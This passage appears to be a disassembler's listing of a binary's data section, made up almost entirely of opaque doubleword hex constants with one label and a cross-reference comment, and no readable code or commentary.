0B2F9F922h, 5516862Eh, 45AA3214h, 3BB3E3E8h dd 0F44212EFh, 0F2B32104h, 5C3AA711h, 0E7F89AADh, 0E84AF165h dd 50D70847h, 0D0832455h, 95755F62h, 0ACFA305Fh, 0F710FA80h dd 3FE8F34Ch, 793542B0h, 0D57C705Dh, 0AF7EDFFCh, 0E8194E9Ah dd 57EB0B08h, 1885178Fh, 0ADBCCCC4h, 17CA1FCCh, 580363h dd 90B9DBEFh, 2B9AAEECh, 69F5A1C2h, 230FD564h, 0E1D33FC7h dd 9BB762A7h, 4C43E7EAh, 6360B69Ch, 0D551842Bh, 198A8698h dd 6306D519h, 6644289Ah, 62AC08ABh, 2EC2130Ch, 16CAC1B2h dd 4E9AE948h, 3B5B624Ch, 4C793360h, 953A5532h, 42397222h dd 82AAB60Eh, 17D99758h, 6BE02991h, 9BB93967h, 81B52B89h dd 70A2950Bh, 101A3866h, 0D07662AAh, 779801AFh, 21E34A56h dd 70AB3A9h, 131547C4h, 45A87597h, 33EA10C4h, 0F9C0D400h dd 5C45A37Ah, 0C0E6F04h, 182583A2h, 0FC059EBAh, 29DAC141h dd 4D012802h, 0B8B63F83h, 2039A230h, 0A8120333h, 0F3100948h dd 0A47A14BAh, 5F662B03h, 8611E102h, 9F48FFBDh, 0C0AB8556h dd 402C7E13h, 44AF7E24h, 317A0A1h, 2F74B03Eh, 62872126h dd 0E8B0C5D5h, 58EEE046h, 572E855Eh, 50FD846h, 624DB04Ah dd 6E1CD7F7h, 954B259Fh, 2DD004B4h, 0B22C5E8Ch, 10201783h dd 17AD6D40h, 210F98BEh, 49A15BDDh, 0FCA3617h, 80C79231h dd 8BE9708Fh, 0E18847D7h, 8894D2D4h, 0AB94750Dh, 8A5DE341h dd 8A7F662Ch, 94AAD7E7h, 1D853E22h, 93F4B530h, 103E3116h dd 9705959Bh, 8E370897h, 90632C65h, 0F65A0CCh, 182C2399h dd 0CA1505E8h, 0C98A8043h, 207DC53Ah, 22818720h, 0ECC74263h dd 662EE0E4h, 0D251CFB7h, 48DE9310h, 5CB6A1F2h, 0B51C392Ch dd 67D978BAh, 0F29E2A33h, 0AAFB8C11h, 74500053h, 296BD4B1h dd 0D2C1702h, 8AEAC125h, 7A949A4Fh, 1CA0CBE3h, 82878090h dd 43E84BB2h, 3489A32Bh, 4002A11Bh, 959A4318h, 3DC68384h dd 0A012731Eh, 0C5D763B0h, 39F20248h, 9554F2C0h, 0A3F895F1h dd 0A000AD53h, 0C008A992h, 9249634Bh, 0AF8B6268h, 0AE9BA7FFh dd 666BF44Ch, 42E92893h, 4AAB02A4h, 84822307h, 0A372B9B8h dd 7C75655Dh, 89D6EB0Eh, 11ABB1B2h, 681167C0h, 0DD40313Eh dd 5318386Ah, 22E6E582h, 0BA4FA614h, 0F33C2C94h, 0E0C02711h dd 16F779Ah, 0F981F81Eh, 0F1B5B4ACh, 8411ACC7h, 4A84F975h dd 5557BCF9h, 9570FB21h, 0CE8CD165h, 719DC31Ch, 997EE07Dh dd 6511546Ah, 9D9610CFh, 7BF25842h, 6A8D2475h, 0D8995211h dd 65C7B666h, 4902AAC7h, 860A79BEh, 0C2E7C50Dh, 2A37A9DFh dd 0E71A1AC0h, 8568D316h, 0D3198D05h, 97AF4249h, 7DAD0D83h dd 4612C58Dh, 623E217Eh, 715FCCA5h, 9B9E2C6h, 90326B3Dh dd 6D10DB5Bh, 9B6C9863h, 0E3924DC2h, 7C312586h, 7E52E7CEh dd 0DFD13954h, 8907FB52h, 0D6B004D5h, 66261F71h, 53006C40h dd 6E710EAAh, 8128FF70h, 4318C05h, 3F634214h, 1F7F70F5h dd 710903C1h, 767A23E1h, 2B65DF3h, 348B0D8Bh, 0EC0D7F06h dd 0A6D8F518h, 17EE52E9h, 3BDFAA69h, 629A5A97h, 5A34610Bh dd 3439982Ch, 3E17959h, 2610EBF1h, 8A41B85Eh, 17071838h dd 3BFFCA3Dh, 4D28C32Dh, 0E4F35F37h, 0C6CD8C76h, 69B8B1FFh dd 20240ADDh, 660B5EDBh, 563D1302h, 9C3A6AFBh, 42136C44h dd 2CD143C1h, 233AFA8Bh, 619D25DDh, 0F11B2F57h, 0CCE8A18Bh dd 14E6267h, 21EFA41Bh, 42807234h, 0B548E772h, 4A1EB610h dd 3BE00C1h, 0EC5C0FF7h, 4E1266FFh, 19BEB06Eh, 9A8966A9h dd 0CCA6288Eh, 0A50956A1h, 0A4211582h, 0A5B73988h, 1940234Fh dd 5A1F2A84h, 3F997F06h, 0E985C1h, 0EF0B623Ah, 22E6FC50h dd 10FED0C2h, 871A85EEh, 0CC810845h, 0DC8A6EECh, 0AA768F7Ch dd 0FFD52D5Ah, 0BB5ED710h, 5B1300C2h, 0F13C1098h, 89DA24CEh dd 1B480995h, 0D580B9ABh, 8420203Ch, 0A182DFDAh, 7F053755h dd 7C34898Fh, 0C0F1F464h, 28362B10h, 1BF58406h, 4986979Ah dd 30DAE85Dh, 45DA311Ch, 6101C245h, 0BEFED5FFh, 557DABA0h dd 524E22B9h, 0A800821Ah, 0AB04831Ch, 62608460h, 1E6BADC2h dd 0E21AD0E0h, 2A7C5199h, 0C02CD891h, 43687D05h, 0C40A3C6Ah dd 9A12FE3Eh, 33EA72A6h, 0E131F592h, 91FF2BA8h, 0D23B4605h dd 0FD8F8236h, 0C29D4F48h, 885D1B88h, 0A6C0113Bh, 7CF8216Ah dd 0EF8FC06Bh, 7796D596h, 49C8340Eh, 0B0DA06E6h, 9E82E056h dd 771C87F0h, 70226229h, 0A703486Ah, 0A03075C5h, 8DC2FA1Dh dd 0F68CF8A5h, 5BF5D717h, 0B7EDFC57h, 514B818Ch, 0C099D62Eh dd 19DEEC24h, 0F22857A8h, 989E8113h, 2C0DD591h, 4FBC5DA5h dd 33F00BFAh, 59690758h, 63F63253h, 7238EB45h, 7F4BBD0h dd 0D13C76D1h, 9811FC92h, 0EA3C6159h, 73842AEAh, 536D0C0Fh dd 5275537Eh, 0E0481C63h, 1676FB60h, 2389B444h, 0CD48460Ah dd 0FD72DE27h, 60289657h, 0C185674Fh, 58F718EAh, 0FE8D3657h dd 0C5BC6347h, 0B11658B1h, 5EAF5671h, 0EF15B399h, 3818E547h dd 21995B05h, 4C8E9A0Ch, 677DE15Ch, 103539A5h, 3D143D71h dd 4D5C68BCh, 0A300650h, 6CB0EF10h, 0EB227615h, 0D72780B9h dd 0D62BA3F2h, 0A3F63CA9h, 2A3F88FAh, 0A21D1986h, 21BE098Ah dd 52978202h, 0A8A31E85h, 7583AAD6h, 49EB8CD9h, 0F8D7AA0Fh dd 0D4D1834Eh, 0A6F8D5C7h, 0CD648353h, 0E72EDE2Ch, 8413FAA4h dd 956C3774h, 197A2AD8h, 8D288D18h, 4096116Ah, 5C555B33h dd 6629A12Ch, 80A052AEh, 9A3D0E04h, 0CCE8DA2Bh, 0B7087C55h dd 0C745DC03h, 0C01C9FC9h, 114B9BF1h, 335F828h, 189293BDh dd 7F30934h, 866F0A16h, 0C35B18BFh, 980952BDh, 0D6F844B4h dd 90F9EDB1h, 2EFC682Ah, 5EC0E38Bh, 5D9C5F20h, 12B3ABA7h dd 85432C39h, 46EF2D91h, 2A8D83FEh, 6CC39B5h, 9102B958h dd 0B42E6D35h, 0B97DCAB4h, 6431C3D0h, 31EC4B10h, 6809F73Ch dd 690D811Fh, 1B48A18Fh, 42BC0653h, 75E36BEDh, 0D184F967h dd 8F7BF68Fh, 8B8CBA4h, 0F2BBDD7Bh, 0C4577759h, 8A925820h dd 0BC28AACAh, 11473AF7h dd 83953EB4h, 4A6AE88Eh, 0CF825951h, 0B5A9A12h, 8D1F62F1h dd 0A897A055h, 8D92C246h, 305D3491h, 0C8A83825h, 50600B1Ah dd 6E79A3Dh, 0C813D064h, 0E6BB5254h, 4D542894h, 24C11854h dd 12053753h, 0C8C26821h, 780544D5h, 637B6040h, 0B3C572E9h dd 541F1931h, 95E1CA9Ch, 8ABA74BAh, 0CF5623Bh, 84C317Dh dd 0F534C2D5h, 0D67EFB4Ch, 0F0559445h, 15134128h, 68539860h dd 29503985h, 0B64C4126h, 9663AB3Fh, 0C7C38AC0h, 0D56E6CBCh dd 9BE11D51h, 96E76E55h, 0A14A57EBh, 0E8486A5Fh, 105819F7h dd 6658C076h, 7CED0A21h, 0E95804Eh, 4AAA523Ch, 9089ECDBh dd 7DC9E461h, 860C282Ch, 9277D417h, 532AE757h, 0C55E2EB8h dd 0B544AB24h, 4904E903h, 86422B00h, 94013302h, 441217CFh dd 8128C388h, 0CF682684h, 0F9970A0Fh, 5D5BC454h, 0DF2B1B7Eh dd 0BF5717D1h, 0ADBD9381h, 0EA3F810Bh, 2B935780h, 21881FDh dd 677D9D14h, 2C974245h, 72B6BACh, 3C01FD7h, 323EC52Bh dd 0E8727320h, 63E47D7Ah, 535877CDh, 372B1195h, 0B71E04D8h dd 16B8F5DFh, 2494215Bh, 73F42116h, 14B3AB0Fh, 59287331h dd 1499131Ch, 311A8210h, 262F9C0Ch, 62218C51h, 0E46897BAh dd 0C6B95Bh, 0BE71EBE3h, 5E556253h, 3E0C5849h, 8014D61Ah dd 3241C590h, 0DC0A28C4h, 0BA4302D1h, 286E40BCh, 5AC20274h dd 855EB068h, 20CA7857h, 25621426h, 0B55ADDD0h, 57C70C98h dd 1F65D520h, 110E742Fh, 0F05E8A58h, 0B0648161h, 3F1195F2h dd 1629FFFDh, 0C728FE96h, 0D03BB0BAh, 1B04C7BFh, 7025EC47h dd 38E03866h, 5BE790E0h, 0C9CB1B04h, 29ADC98Bh, 15F8C183h dd 1013F04Bh, 34805641h, 723F7369h, 91486CC1h, 2A0F590Ah dd 4BCE9F8h, 4053F83Fh, 0C0716FB1h, 1020AF11h, 0BF155ADh dd 130B202Ch, 0F9DD5F7Ch, 7157F6BEh, 0ABE37E94h, 0F1746A34h dd 0D3DD6F1Fh, 8CEFACAEh, 99625F80h, 0AB20EBDh, 0A15D1B9h dd 0E55A068Dh, 0D08E3CBh, 956B382Ah, 62F0D2BFh, 0BC4817CEh dd 6959C2B2h, 2F49686Eh, 54A7CFE2h, 0D68C90Eh, 151733A1h dd 0A0B2E6FEh, 890A1639h, 7E28744Bh, 0ADBB080h, 540E13BEh dd 98D6508h, 0AB5589E6h, 1570A3E7h, 2558E37Bh, 0C05F3068h dd 99A42A01h, 6A952618h, 0D7950590h, 19CF75FAh, 54554D85h dd 1926950Ch, 513ECF5h, 0D69E486Dh, 0D451F298h, 0BEC22BC8h dd 3E77929Ch, 0CD482B78h, 1034FF32h, 15CBA9F2h, 31B198CFh dd 686DB686h, 0CD2B3ACEh, 0EB2B92E3h, 2247ED1Dh, 37605767h dd 621CE5Dh, 1C1D113Dh, 0E5AC916Ch, 0A70BC4FAh, 0C7759F8Ch dd 987DE70h, 2AD75EEh, 9684D2D5h, 3E6397FBh, 0FDF25678h dd 145053BEh, 51041EC6h, 0AB1EE2D7h, 84608828h, 0B296B0CDh dd 5FF0D534h, 0CBB05BD3h, 857552B7h, 1FB777D1h, 8DF620FAh dd 0B004A442h, 10FC5A30h, 9C25E0Fh, 607F1976h, 3E3F020h dd 902F3CE3h, 3F0755E5h, 7C0EB2Fh, 0B80FAFC7h, 0AADD091Fh dd 4E7D00FBh, 651FE8A5h, 1677267Fh, 0C3F88BA3h, 404B9478h dd 5FF25E5Fh, 74BD8556h, 0E3A72389h, 0B7DD8AEDh, 0BB0BA3FDh dd 822B6194h, 77E0BC21h, 3435A163h, 18E6B520h, 0F844518Eh dd 0EB052574h, 0E9EBEFB2h, 0FB172307h, 0AF869E4Eh, 0E7A3F9FCh dd 0BE68EE0Fh, 0E10BE852h, 0B98B35FDh, 8645608h, 6D83096Ah dd 0AAAC3280h, 61F2C498h, 0E3F7E81Fh, 0A6C91CEh, 0C578C943h dd 276C1890h, 0DEECDD18h, 0DDDF5DDDh, 0A525C81Ch, 49C09C0Bh dd 0F7F007D0h, 0FCC2597Eh, 0EC9A8A81h, 9E014DFBh, 1066C118h dd 1C8FC2FFh, 37C95054h, 64C0BF66h, 49DD6D7Ah, 3FFD85FCh dd 0D1497E98h, 0D0FC019Eh, 30423865h, 90A0626Eh, 5D608CB7h dd 98B44890h, 8982A91Dh, 0AB3D76D6h, 5FE79680h, 8A42EB74h dd 4B8AC005h, 0C4953A34h, 428CAC7Ch, 0E57C7E48h, 0CFA6AA9h dd 0D23B7A98h, 57A872A5h, 0A33A982Dh, 0B50B08A2h, 52942ABCh dd 8DBFCE00h, 0D06962AFh, 0B6774078h, 3F898617h, 2B428E6Ah dd 5D20AEAEh, 0F16AB275h, 6813D0FDh, 22210AA9h, 6E640AD6h dd 0CCA407Fh, 221F4E0h, 891B6F32h, 4B43417Ch, 0E7069CCDh dd 608C6905h, 0F5FF1787h, 4FA6C3D7h, 0FFA13206h, 0C4AA2061h dd 0B2C6410Eh, 5F97EAB4h, 6AB25569h, 57624041h, 0A62EC681h dd 9370754Eh, 0F0A5B26Dh, 1384ADA3h, 6BF98A3Bh, 0EAA545B1h dd 7C1AA524h, 91566C7Ah, 0C3103904h, 0F410EA48h, 407BE417h dd 0BF3CBA33h, 0A3805F3Dh, 38581747h, 807B6BC7h, 2578067Fh dd 50CCB807h, 2CC60765h, 6DFF1ACBh, 211A2850h, 0AD67FDD2h dd 4E274F24h, 0D7AFDC1Fh, 14419DF7h, 3F6F38C3h, 13CA4894h dd 1963D95Fh, 26EB4AAFh, 44D519E6h, 9283FCBAh, 78E4B2D1h dd 0DAE97246h, 54E7CF6Fh, 57A68C48h, 0A7851224h, 2CC05574h dd 0D74BCE81h, 0A4A306Bh, 2F9409C8h, 0BF066266h, 57902B90h dd 9F955A2Eh, 597610A5h, 861763C4h, 0DE05F388h, 92BD9CB8h dd 0AE3FE07Ch, 0E361AE0Fh, 48810BECh, 0EAF5912Ch, 0F97E6078h dd 42742262h, 2694BEFBh, 0A8072F9Eh, 64158842h, 0C34B409h dd 79149D03h, 2285AA3Fh, 64D04687h, 8FD95FAAh, 0E103CA24h dd 0CBB94A2Bh, 630757Ch, 0A5C716CBh, 968A2CABh, 5E092DCAh dd 5A305EF5h, 9D9A8922h, 24062E1h, 0F43E80F3h, 0C099C83Fh dd 696034DBh, 3A762058h, 8E5EE8FBh, 0BCA75303h, 18343E28h dd 0A5B5E47h, 11605AD5h, 5CDFD343h, 6041DF6h, 0CBB91122h dd 0B7D1B74Ch, 0CE6B6362h, 0C4DE1F8Ah, 0C66EB102h, 0E764B625h dd 315D7E87h, 4E63548Ch, 0DF44342Fh, 277CAFF6h, 7B33DB4Fh dd 0E10B350h, 463CDA48h, 0B28E157Ah, 53742FD2h, 0B2C6C88Bh dd 954E2B31h, 0BE4217Eh, 0C95D68B1h, 0CAF0BE67h, 6EAB6FB4h dd 0EE8C5D4Dh, 6F753FDCh, 4DCA5001h, 0AF40CE85h, 0D5500B38h dd 83F4DE4h, 5D5F29D3h, 183F01F6h, 52F2410Dh, 5CA7D21Eh dd 0A1D6BD94h, 0AF9D69CBh, 54E9A762h, 9E258FA9h, 516C1957h dd 81739F67h, 0A48007E6h, 1FA58A80h, 0FC01B41Ah, 1ACCE174h dd 3E6F59D0h, 0F6130786h, 0F9B2C4A3h, 5595E929h, 9D21F216h dd 0A01D69ADh, 6456E178h, 5D832C12h, 22EE0466h, 0D051BF1Ch dd 420F731Ch, 0C5CC3BA3h, 0A062C255h, 82C06834h, 23FF4FFDh dd 0A6EABDD2h, 822B872Bh, 0DC301987h, 4604B98Eh, 482446C4h dd 0E92594D1h, 1BB993DEh, 858B21EEh, 7FCAA227h, 0EB0BF154h dd 0BEC45F1Eh, 0C70C149Eh, 0B517A414h, 67ED0E3Ah, 8B47841Ah dd 903674C9h, 2D98116Ah, 178E6313h, 93003443h, 1815C21Dh dd 0EF6F063Fh, 56FA5CB2h, 3AEC95E2h, 2135B212h, 0F1210FCDh dd 92C34166h, 4E6F848h, 600CC1A1h, 13CB410Ch, 5B7EDAF8h dd 0EF8834E6h, 25760295h, 294AD1BBh, 0F1B5262Ah, 903EC179h dd 846FFDA7h, 0A37A3029h, 0ECE4815h, 62521F00h, 503BF8A5h dd 80E8BE08h, 5BD726F0h, 2804DD92h, 3A70C62h, 52802018h dd 0A1558969h, 0F7EB0736h, 0EC06B54Fh, 0A2796FCDh, 87F95A9Dh dd 7C64245Fh, 0DB02551Bh, 5342549Ch, 0B04C18Eh, 210C0F58h dd 117FC49h, 0B4F80592h, 413C0FE0h, 5721075Eh, 98E8632Ch dd 4C97C03Eh, 29B626AEh, 935C184h, 5024D3B5h, 0E4623E72h dd 3507C0BDh, 5C86CB22h, 41B9FC9Ch, 15CD224Dh, 0F3B0E821h dd 0D1834715h, 77A5C0C0h, 69AD92ACh, 4C6259C8h, 0E2315033h dd 0AD756391h, 0A0E84ACAh, 43259C48h, 0B6511751h, 2FF3AAB3h dd 0E618ABE3h, 0A793ACECh dd 3A59BE45h, 28A91087h, 0BBA47328h, 0C3BE3B12h, 0CE6F2275h dd 37AF41CCh, 87AEF03Ah, 2C17DE18h, 4BDFB4E3h, 0D03E0CA2h dd 0E8C16813h, 0D1244305h, 146A5E7Ch, 0E29669CCh, 0C90F3A03h dd 98C4B8C0h, 4BA4DF41h, 96F89991h, 0D11D718Bh, 8B6922C6h dd 0FA6325E1h, 3B2C96C8h, 9CBBD512h, 0ADAB49FFh, 0DED761E8h dd 1906676Eh, 49DC54BDh, 0CD028D1h, 69B517F0h, 204CC020h dd 0F660191Ch, 7312BFA4h, 86F7C943h, 0A3662FB7h, 822080D6h dd 1100054Eh, 9DD81E77h, 0C74087B4h, 955C44BAh, 0CC0DA7A8h dd 4A8513BAh, 1460DD24h, 0EC0A4FD7h, 0BAE7512Ah, 0F760C130h dd 0C524A176h, 0C4D8905h, 8024E6B8h, 8B0F12Ah, 444BE218h dd 0A70C9D8h, 0C13BACA0h, 0DD7E0955h, 0DDA204C0h, 0A0944FFh dd 0FAE88A96h, 0A55DE090h, 0C8434C0Fh, 0F74A8208h, 0E09616F5h dd 98880022h, 0E1810F23h, 15F35587h, 44EA28ACh, 2BFC8818h dd 0D0C3C62Eh, 8E53645Ah, 0BE851913h, 5795A393h, 6FFFF63Ch dd 38190FC6h, 0C08BCBB3h, 503C7EDh, 0D2BE957Eh, 517B7D8h dd 245F9FECh, 5FA1CFB0h, 9549FE48h, 1A040155h, 2080DA33h dd 0B49699C4h, 85C33506h, 0BAC3F44Eh, 965B3FCAh, 99DEE67Ch dd 0A130228h, 82260BE1h, 3DEF03E8h, 9014700Dh, 687EA4BCh dd 2627A215h, 34C15D6h, 0A40CC3F0h, 0EB0B1D94h, 78C3DFC2h dd 0AE127FE4h, 448B05D7h, 0B48805F4h, 0A4F8F4F1h, 8FFF0DA7h dd 1FC09F46h, 6D50EAFCh, 83D8307Eh, 97387819h, 5FCC49D4h dd 9D2C439h, 7755FDD7h, 61CC3062h, 795F8E5Fh, 7CDE4590h dd 1FC0A06h, 4C073699h, 20EAFAE1h, 0B759234Fh, 86E94620h dd 0EDA2C2AFh, 60208C5h, 53BE830Dh, 41830A42h, 8DF175FAh dd 448FF49Dh, 939EBCCh, 0B1028DC5h, 251F0CC2h, 3420D070h dd 8E99E81Dh, 0A0622FAEh, 503E2B5Dh, 94281BFCh, 19CB6154h dd 0A05F5C30h, 70D418FDh, 443BFEE6h, 5ECAC346h, 5600AAA1h dd 418AEA30h, 0B8E9D415h, 0E61B60ADh, 6AAC0CD5h, 0BFAE055Dh dd 4474A481h, 731623BAh, 13D8D688h, 4A59E504h, 6BB04614h dd 26604AF6h, 0DCBC5146h, 5F811F6h, 0B90548A4h, 38577CB1h dd 0E47243CDh, 0F70238E2h, 0F8AA3E35h, 0ACEB11EBh, 0E49C1F44h dd 2D542582h, 28E53A61h, 303F78DFh, 0ED384F48h, 1BA29543h dd 8A1ABEBAh, 0EC6C92CAh, 0CF619334h, 951531DBh, 0A29457C4h dd 281FD8A2h, 0E834F445h, 4AEF5BD7h, 8CAA778Bh, 0F38CBE1Dh dd 9D49DE64h, 76C1D57Bh, 0B108D3BEh, 0D0319D98h, 63F14D9Eh dd 3488F63Dh, 0D748E764h, 913A5479h, 0E9EB4173h, 9F529DABh dd 3EDF3202h, 6151D034h, 0F898F8ACh, 67C01AA0h, 3C0FE4C2h dd 0F255ADAEh, 361DCB8Eh, 0E6FC9738h, 1683CAAAh, 88C8E4F1h dd 0C1CEAE69h, 0A64A9937h, 47C53FE5h, 0C8BA817Fh, 23D06257h dd 82214429h, 0C8E6510Ah, 30386442h, 0EB3D0E19h, 0CB98F950h dd 0E7D95B38h, 0B285F567h, 808F2809h, 0F5469D30h, 9EA00D83h dd 0C9620F54h, 0EC1F4FA0h, 31278A3h, 0E6ACB745h, 0E0FB5A83h dd 0D125A453h, 1857264Ah, 1024CDADh, 15B27177h, 0F6E059E8h dd 0EBAAA2ADh, 89AEE02Ah, 0E20A3E89h, 9C6AFA09h, 21EB6A3Dh dd 2CA52FFEh, 0F77885E0h, 0AA69C8AEh, 223FDB85h, 60DA9Bh dd 58836E2Dh, 0BB642730h, 0A5A9D848h, 835E87FCh, 0A57C8BC3h dd 0B55D91F1h, 8AAE3BA4h, 6263C6CCh, 2E785D8Bh, 38EFAB9Fh dd 24A47562h, 92802283h, 60134180h, 0E334FE50h, 0BA49601Fh dd 405AFC14h, 0C0B48052h, 88DD3084h, 7C3D2901h, 0DC19E24Ah dd 0A6777155h, 7645E76Eh, 0A5599E9Ch, 0F1B435Bh, 95BFD837h dd 3917748Fh, 9726B2Dh, 2A2BF643h, 6E48CCF1h, 0C021CF78h dd 0FC21253h, 0F13881A1h, 4737DB9Fh, 2224BF02h, 0D160258h dd 6C15B85Fh, 68089484h, 3C4E0BA4h, 0CC5660C9h, 8AFA8561h dd 3148DDFBh, 0BA06C03Ah, 0A2838695h, 0F748863Bh, 6CD16178h dd 76E999D8h, 27138D49h, 5A8A08A3h, 0A605F9E2h, 64420316h dd 49F1EBCAh, 85FFB40h, 0AA211E6Ah, 5FD7DD79h, 0A03000AEh dd 992B0A5Fh, 6D8C0CD5h, 9DF7B9FBh, 19F2E798h, 3953DA4Eh dd 738BDA30h, 5D42E5DEh, 3BCBAFE1h, 75580EF8h, 4EB8AD08h dd 953F3067h, 0C6D58955h, 51FCAEBAh, 555A5EB9h, 6D39BA1Eh dd 73334719h, 0CC422AC0h, 0E99A3832h, 2A6F5580h, 0C8567484h dd 4027E9DDh, 0F9705F1Ah, 6EED3E64h, 0C2DBC80Bh, 9F3288A2h dd 7C6E7A79h, 0D6F01748h, 12FB8825h, 408BB3E8h, 9FC331F2h dd 257C5B9Dh, 0C8B7FEFBh, 2A88BA5Ah, 45E9F02Fh, 0F86EB9B7h dd 0D407BEB9h, 7D9344DCh, 0A5A66264h, 0B0179955h, 69EDBAC5h dd 2D7D89Ch, 0FE7C76F8h, 778DBAC4h, 5156912h db 85h, 21h word_766672 dw 0AD7Ch ; DATA XREF: .data:off_42CD8Co dd 0B5F5DE14h, 696CBEB2h, 1E88465Dh, 0F241699Eh, 5F6442F3h dd 7867CFBEh, 34FE81DBh, 0E1EF08D6h, 0F6CB28DDh, 5301A243h dd 0E817B7E6h, 38AD2308h, 5104A5D6h, 0B782110Fh, 4DE03A1Fh dd 91015177h, 0BAC09237h, 6A5CB096h, 0E12455E3h, 2FA88713h dd 0FC5C46A1h, 4D0599E8h, 0A9A00BEAh, 568CA3D8h, 0D42DCB30h dd 4432A89h, 22D11DC6h, 9BE33C80h, 3BFD16h, 0E1E4C63Fh dd 0FF41A13Ah, 0C1E4D16Fh, 1811DC32h, 304AD0FEh, 856020B5h dd 48A857F9h, 0A2801204h, 0C3BA9D2Bh, 43F59EBFh, 14C1963Ah dd 7BBE031h, 6BFDFFBCh, 0FF59D778h, 553B0ABCh, 0D5AD55DEh dd 0BFD58EBFh, 595D0DA9h, 0C07F1297h, 0AEB2596Fh, 30C8A71Dh dd 0E85D27FAh, 9BBECA2Ch, 8FCF9B9Ah, 0B3CE8A22h, 1843C30Fh dd 3E51D903h, 7FDACFD3h, 0DB0E11E9h, 0D66980F8h, 2D01E9DEh dd 12458336h, 7093A3B1h, 360B2F91h, 6ECFFCDh, 43E449C8h dd 0EEDED892h, 0F1A65FA5h, 17A90BB2h, 329D8BAFh, 47CA8D2Bh dd 6A81F2AEh, 0B10AF3AEh, 0B28AE40Ch, 35F1F2A8h, 0A6EAACA9h dd 3DA77090h, 0C5F1C192h, 22A4A0F2h, 0B2F7B468h, 9033CE2Fh dd 402F3028h, 95607468h, 891518BBh, 5B3163E2h, 26044714h dd 189CF17Fh, 0DB12EF0Dh, 349FE81Fh, 0E7C36B1Bh, 0A442BA32h dd 0F137DF26h, 0EF540BF5h, 0E1750821h, 60B97FA3h, 496021B4h dd 9FAAAA0Fh, 0E9E5E7Ch, 9D9423CCh, 21079398h, 63CFFC0Eh dd 88857CE0h, 14268593h, 0E4416040h, 0F631FD2Ah, 6B4ADD68h dd 894E3376h, 8C4CB3D8h, 4E087CD7h, 8BB54C9Dh, 0AE640190h dd 1B7D46AEh, 4954C7CFh, 6F1FF869h, 0DAEDE09h, 55B4C0h dd 407AE8F7h, 0D9618F60h, 0F88AE795h, 0B8C1687Eh, 8E47BAD8h dd 0B0820A31h, 0BB610BABh, 0CE45442Eh, 0A1DC90AFh, 92F60CCh dd 1DB7DB8Eh, 89F41BAh, 0E881B8FDh, 485F037Eh, 86624F09h dd 7FD2C5EBh, 0E40F04F8h, 0DF28B98Fh, 0D842D7D3h, 1433D1A1h dd 5D2AEED0h, 959800F2h, 578BCFACh, 70A7710Eh, 0AE3B6268h dd 2517B51Eh, 470FBCCDh, 2B448A8h, 0B7A06367h, 55B9AB2Dh dd 30EA7F2h, 7810622Ch, 0D043E006h, 0F67CEA21h, 5E2C8AEh dd 120B7B0Ah, 0C255ADF4h, 0A2FA00Ah, 686A52BCh, 5F9E0121h dd 0AF62147Fh, 129FD504h, 3F0FA3EDh, 3F85885Ch, 0E8D07781h dd 3F7305B1h, 3005588Eh, 0F83B1BE4h, 84B92737h, 0CE954D62h dd 0F2E7D3h, 0DF7FCB69h, 911E0A89h, 4ADD0A5Ah, 49D4ACF3h dd 35D021C0h, 0A53CC27Dh, 52F025CCh, 18CED42Bh, 0AF4E8276h dd 3DD4AC7h, 3C27AF19h, 1F0B006Bh, 526FAC51h, 12C5E414h dd 0F811DAE6h, 49887703h, 4B4B2577h, 16A90A4Bh, 87E31098h dd 20622143h, 0A248B130h, 0E2F6A2DFh, 358F58C0h, 0F1FD8D65h dd 7E2955B5h, 604611F8h, 4252E661h, 0B291C532h, 0C256098Ah dd 4E4D50C2h, 0AB8040C4h, 70476176h, 3F332CAFh, 0AB3596CCh dd 9E7098AAh, 0F38552F6h, 87AEEACAh, 38AE8E4Ah, 685D1CAFh dd 0DB312AB3h, 0C41523CEh, 358019B9h, 60E72Ah, 3061F5CCh dd 992AD622h, 0D90BF3ADh, 0E17A8CEDh, 16A4EB3Bh, 33B82D8h dd 0F83B45F4h, 40058A98h, 87158AB2h, 8D111FCDh, 62FAF238h dd 0CB244D1Fh, 842911EDh, 490731Ah, 91131A5Ah, 7F0E1554h dd 3FC1CAC6h, 1BF1CB0Ch, 5F1BB8EEh, 3318BF5Dh, 82654FFFh dd 8CBA94D8h, 0A859119Ch, 0FB556F2h, 0CE30100Ah, 4593D97Fh dd 6A41F5D9h, 4FB0C0C6h, 0F19F5883h, 0D99666C3h, 0E9F5266Bh dd 66A1C31Fh, 243932F6h, 26D44CBEh, 4F642BFCh, 1A894EB1h dd 0AECF2983h, 950BEBE0h, 2E1A4974h, 9B7048DAh, 8A52A442h dd 0ACB4F91Fh, 0FE8A092Bh, 0A5D7D833h, 51A3C41Eh, 10AA0BFBh dd 1FE08C04h, 9B9C79ACh, 6F80B2AEh, 0C3AB096Dh, 4CFE43E8h dd 0EA9FEBh, 0CB22CAF7h, 3486471Fh, 508ADB14h, 0FD8C07FDh dd 12A807A5h, 26EB36DFh, 297C818Eh, 853CE461h, 20A90E3Eh dd 0DF80A384h, 1D5CE1D7h, 54617E4Eh, 3F97AC2Bh, 2FBD911h dd 0DF2068AEh, 85D7BB82h, 0FA527FE3h, 956B4B2Ah, 0EE4A1A21h dd 4A156834h, 5685561Bh, 31813485h, 8D2D855Bh, 376EB7E5h dd 0D40FC0A8h, 90152FF4h, 3C710F92h, 19158555h, 6F5DF95Ah dd 12003B1Fh, 0BA98AA06h, 0C21D51E0h, 66630208h, 3092C425h dd 5DD993D6h, 0FA39FD30h, 0A00C1745h, 190E1EB9h, 0A582AA94h dd 0DC2AA32Ch, 0A0E467DBh, 4AEE0A12h, 0C449877Ah, 0EC0A7822h dd 58085E9Eh, 0A21BA9Dh, 421F1D08h, 0F8F2956Ch, 0D09261D9h dd 0E32103D0h, 5F5E7090h, 1E8FCA1Fh, 961BD439h, 14828FB0h dd 448AD5B0h, 1D0F4B04h, 9887AB84h, 2216605Fh, 5FC46A6Ch dd 0C52B6FB1h, 315ADC60h, 493D302Bh, 44450C28h, 0BD738A14h dd 2E024284h, 72144F91h, 0A947320Eh, 5492A4B4h, 7B4839E8h dd 0F50CE25h, 8A958F41h, 979410EDh, 0F80C22B5h, 1BE55882h dd 1582C579h, 0F1AC601Dh, 4D5C5491h, 6730D85Eh, 0A979B324h dd 0A5E8043Ch, 0D80292F3h, 2F5AF494h, 0BDA097A9h, 0FDA15EC4h dd 0AEB423EEh, 0BA4EF9Fh, 43815F9Dh, 70401B8Dh, 41C84B7Dh dd 0A441956h, 0A08D62BBh, 4168794Dh, 1C8C3B5Ah, 84A9FCh dd 84118833h, 23D90E02h, 2B6C7F84h, 756C6AB3h, 0C70585E9h dd 0FF079C37h, 2687C227h, 